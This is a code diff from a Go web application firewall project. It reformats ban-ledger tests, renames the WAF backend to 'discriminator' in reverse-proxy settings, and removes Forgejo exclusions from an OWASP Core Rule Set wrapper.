"made %t the ban %+v, want the one that would be made, %+v, for "+ "crowdsec until %s", made, ban, would, expires)
"crowdsec until %s",
made,
ban,
would,
expires,
)
} }
// A second decision on the netblock while the ban lasts makes no other. // A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{}) expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
ledger.Made(bans.CauseCrowdSec) != 1 { t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
} }
} }
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec( ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is. // A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond) last := expires.Add(-time.Nanosecond)
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
held, banned, madePermanent := ledger.Check(netblock.Addr(), last) held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) || if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf( t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"as the ban ends, banned %t with %+v, made permanent %t, want "+ "refused under the ban as it was", banned, held, madePermanent)
"refused under the ban as it was",
banned,
held,
madePermanent,
)
} }
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
} }
} }
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit( func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
// Three times the three days would be permanent; a limit broken as the // Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken // ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does. // limit does.
crowdSec, _ := ledger.BanForCrowdSec( crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
netblock, scenario, bans.Notes{})
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf( t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
"the ban for a limit is %+v, want one of an hour after one for crowdsec", limit)
limit,
)
} }
} }
+22 -79
View File
@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// Two bans before the value is read leave one. // Two bans before the value is read leave one.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.10/32"), ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
midnight(),
bans.Notes{},
)
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.11/32"),
midnight(),
bans.Notes{},
)
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
got := make([]string, 0, len(snapshot)) got := make([]string, 0, len(snapshot))
for _, ban := range snapshot { for _, ban := range snapshot {
got = append( got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
got,
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
)
} }
want := []string{ want := []string{
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
after := bans.New(defaultParams()) after := bans.New(defaultParams())
after.Load(before.Snapshot()) after.Load(before.Snapshot())
_, banned, _ := after.Check( _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
netblock.Addr(),
ban.Expires.Add(-time.Second),
)
if !banned { if !banned {
t.Error("the loaded ban does not refuse") t.Error("the loaded ban does not refuse")
} }
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour || if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", again.Expires.Sub(again.Start), again.Notes.EarlierBans)
again.Expires.Sub(again.Start),
again.Notes.EarlierBans,
)
} }
} }
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// ban covers, beside a ban the ledger makes on one IPv4 address. // ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
Netblock: netip.MustParsePrefix("203.0.113.9/24"), {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
Start: midnight(),
},
{
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
Start: midnight(),
},
}) })
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
for client, want := range map[string]bool{ for client, want := range map[string]bool{
"203.0.113.0": true, "203.0.113.0": true,
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
// As when an admin adds a permanent ban to bans.json with a start // As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended. // before that of the netblock's ban that has ended.
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{ permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
Netblock: netblock,
Start: midnight().Add(-time.Hour),
}
ended := bans.Ban{ ended := bans.Ban{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
ban, banned, _ := ledger.Find(client, now) ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
"find gives %+v and %t, want the permanent ban",
ban,
banned,
)
} }
ban, banned, _ = ledger.Check(client, now) ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
"the client is refused: %t, under %+v, want under the permanent ban", banned, ban)
banned,
ban,
)
} }
// A limit broken now makes no shorter ban over the permanent one. // A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf( t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
"a broken limit returned %+v and left the netblock %d bans, "+ "want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
"want the permanent ban and 2",
ban,
len(ledger.Bans(netblock)),
)
} }
} }
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
// Once both have ended, a limit broken within the repeat window bans // Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans // for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's. // before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
netblock,
nineHours.Expires.Add(time.Hour),
bans.Notes{},
)
if ban.Expires.Sub(ban.Start) != 27*time.Hour || if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+ t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
held := ledger.Snapshot() held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) { if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf( t.Errorf("the ledger holds %+v, want only the ban that began later", held)
"the ledger holds %+v, want only the ban that began later",
held,
)
} }
} }
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// bans.json is taken in, that ban is lifted. // bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept}) ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
netip.MustParseAddr("203.0.113.9"),
midnight(),
)
if banned { if banned {
t.Error("a ban left out of the second load still refuses") t.Error("a ban left out of the second load still refuses")
} }
// The ledger holds one ban, so it makes two more without dropping any. // The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
netip.MustParsePrefix("198.51.100.7/32"), bans.Notes{})
midnight(), second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
bans.Notes{}, bans.Notes{})
)
second, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.8/32"),
midnight(),
bans.Notes{},
)
want := []bans.Ban{first, second, kept} want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+2322 -7
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+14 -82
View File
@@ -22,12 +22,12 @@ type RProxy struct {
// TrustedProxies are the netblocks whose X-Forwarded-For is believed // TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES). // (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWRP_WAF_BACKEND). // WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL WAFBackend *url.URL
// Timeout is how long rproxy waits for waf's answer to a question, // Timeout is how long rproxy waits for discriminator's answer to a question,
// and to a report (SWRP_TIMEOUT_MS). It cannot be off. // and to a report (SWRP_TIMEOUT_MS). It cannot be off.
Timeout time.Duration Timeout time.Duration
// DefaultDisposition is what is done with a request when waf cannot be // DefaultDisposition is what is done with a request when discriminator cannot be
// connected to, does not answer at all, or does not answer within Timeout: // connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWRP_DEFAULT_DISPOSITION). // allow or deny (SWRP_DEFAULT_DISPOSITION).
DefaultDisposition string DefaultDisposition string
@@ -48,25 +48,14 @@ type RProxy struct {
settings []slog.Attr settings []slog.Attr
} }
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var ( var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080") "is required: it is discriminator's URL, such as http://discriminator:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New( errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000") "is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New( errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off", "is not a whole number of milliseconds above zero, such as 60000, or off")
)
) )
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
@@ -74,36 +63,19 @@ var (
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// invalid is an error that names it. Since rproxy never touches disk, its // invalid is an error that names it. Since rproxy never touches disk, its
// settings have no _FILE form. // settings have no _FILE form.
func RProxyFromEnvironment( func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
lookupEnv func(string) (string, bool),
) (*RProxy, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)} env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{ cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"), ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL( UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
"SWRP_UPSTREAM_URL", TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
defaultUpstreamURL,
),
TrustedProxies: env.netblocks(
"SWRP_TRUSTED_PROXIES",
privateRanges,
),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"), WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"), Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition( DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
"SWRP_DEFAULT_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"), MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"), MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff( MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
"SWRP_MAX_REQUEST_TIME_MS", MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
"60000",
),
MaxResponseTime: env.millisecondsOrOff(
"SWRP_MAX_RESPONSE_TIME_MS",
"1800000",
),
} }
if env.err != nil { if env.err != nil {
@@ -152,15 +124,7 @@ func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
// appURL reads a setting that is the app's URL. // wafBackend reads the setting that is discriminator's URL, which must be set.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL { func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "") value := e.value(name, "")
if value == "" { if value == "" {
@@ -175,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
return backend return backend
} }
// disposition reads the setting that is what is done with a request when waf // disposition reads the setting that is what is done with a request when discriminator
// cannot be connected to, does not answer at all, or does not answer in time: // cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny. // allow or deny.
func (e *environment) disposition(name, defaultValue string) string { func (e *environment) disposition(name, defaultValue string) string {
@@ -202,9 +166,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
// millisecondsOrOff reads a setting that is a whole number of milliseconds // millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0. // above zero, or off, which is 0.
func (e *environment) millisecondsOrOff( func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
name, defaultValue string,
) time.Duration {
value := e.value(name, defaultValue) value := e.value(name, defaultValue)
if value == off { if value == off {
return 0 return 0
@@ -228,33 +190,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
return time.Duration(n) * time.Millisecond, true return time.Duration(n) * time.Millisecond, true
} }
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
func parseUpstreamURL(value string) (*url.URL, error) {
upstream, err := url.Parse(value)
if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" &&
upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
}
+13 -32
View File
@@ -24,7 +24,7 @@ const (
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE" rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS" rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS" rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080" backendURL = "http://discriminator:8080"
rproxyDefaultAddr = ":8080" rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081" rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot" notASize = "a lot"
@@ -50,28 +50,18 @@ func TestRProxyDefaults(t *testing.T) {
if cfg.ListenAddr != rproxyDefaultAddr || if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp || cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL { cfg.WAFBackend.String() != backendURL {
t.Errorf( t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
"addresses %q, %v, %v",
cfg.ListenAddr,
cfg.UpstreamURL,
cfg.WAFBackend,
)
} }
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf( t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
"timeout %v, default disposition %q",
cfg.Timeout,
cfg.DefaultDisposition,
)
} }
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
} }
if cfg.MaxRequestTime != time.Minute || if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
} }
@@ -110,12 +100,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg) t.Errorf("addresses %+v", cfg)
} }
if cfg.Timeout != 150*time.Millisecond || if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.DefaultDisposition != "deny" || cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestSize != 1024 || cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg) t.Errorf("limits %+v", cfg)
} }
} }
@@ -127,8 +114,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
name, value string name, value string
}{ }{
{wafBackend, ""}, {wafBackend, ""},
{wafBackend, "waf:8080"}, {wafBackend, "discriminator:8080"},
{wafBackend, "http://waf:8080/path"}, {wafBackend, "http://discriminator:8080/path"},
{rproxyTimeout, "0"}, {rproxyTimeout, "0"},
{rproxyTimeout, "-1"}, {rproxyTimeout, "-1"},
{rproxyTimeout, off}, {rproxyTimeout, off},
@@ -160,9 +147,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig( _, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
map[string]string{wafBackend: backendURL, tc.name: tc.value},
)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name) t.Errorf("error %v, want one naming %s", err, tc.name)
} }
@@ -173,9 +158,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel() t.Parallel()
cfg, err := rproxyConfig( cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -189,8 +172,7 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig(nil) _, err := rproxyConfig(nil)
if err == nil || if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend) t.Errorf("error %v, want one saying %s is required", err, wafBackend)
} }
} }
@@ -206,8 +188,7 @@ func TestRProxyReadsNoFile(t *testing.T) {
} }
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path}) _, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend) t.Errorf("error %v, want %s still required", err, wafBackend)
} }
File diff suppressed because it is too large. Load diff
+15 -40
View File
@@ -1,6 +1,6 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww // body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response. // response.
@@ -36,7 +36,7 @@ import (
// giteaExclusions for the third, wordpressExclusions for the fourth, // giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, // drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth, // mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth. // and nextcloudExclusions for the ninth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -102,10 +102,7 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# So does the thirteenth. # So does the thirteenth.
%s %s
# So does the fourteenth. # And the fourteenth.
%s
# And the fifteenth.
%s %s
# The sixth: only the rules for requests are loaded, and no response is # The sixth: only the rules for requests are loaded, and no response is
@@ -242,19 +239,11 @@ var vaultwardenExclusions string
//go:embed nextcloud.conf //go:embed nextcloud.conf
var nextcloudExclusions string var nextcloudExclusions string
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
// requests that skip the rules that refused them there, where Forgejo differs
// from gitea, as Coraza directives.
//
//go:embed forgejo.conf
var forgejoExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request // cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change. flash is Forgejo's name for // without, the rest of the fifth change.
// gitea_flash.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"} var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
@@ -292,11 +281,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
// directive that removes or changes rules as it loads, such as // directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them. // the directive finds none of them.
var errChangesNoRule = errors.New( var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " + "switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion", "with a ctl exclusion")
)
// directivesIn returns the directives in text as Coraza reads them: it // directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to // skips blank lines and comment lines, and joins a line ending in \ to
@@ -340,27 +327,18 @@ func checkExclusions(exclusions string) error {
} }
if first <= lastOwnRuleID && last >= firstOwnRuleID { if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf( return fmt.Errorf("the exclusions file names %s: %w", match[0],
"the exclusions file names %s: %w", errSwwRuleID)
match[0],
errSwwRuleID,
)
} }
} }
// Coraza takes the directive's name up to the first space, without // Coraza takes the directive's name up to the first space, without
// regard to case. // regard to case.
name, _, _ := strings.Cut(directive, " ") name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix( if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
lower,
"secruleremove",
) ||
strings.HasPrefix(lower, "secruleupdate") { strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf( return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
"%s in the exclusions file changes no rule: %w", errChangesNoRule)
name,
errChangesNoRule,
)
} }
} }
@@ -374,7 +352,7 @@ type CoreRuleSet struct {
bodyLimit int64 bodyLimit int64
} }
// New returns the Core Rule Set with the fifteen changes, at params' // New returns the Core Rule Set with the fourteen changes, at params'
// paranoia level, without the rules it switches off, reading request // paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded // bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it // before the Core Rule Set's rules. An exclusions file is an error if it
@@ -404,7 +382,7 @@ func New(params Params) (*CoreRuleSet, error) {
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions, giteaExclusions, wordpressExclusions, drupalExclusions,
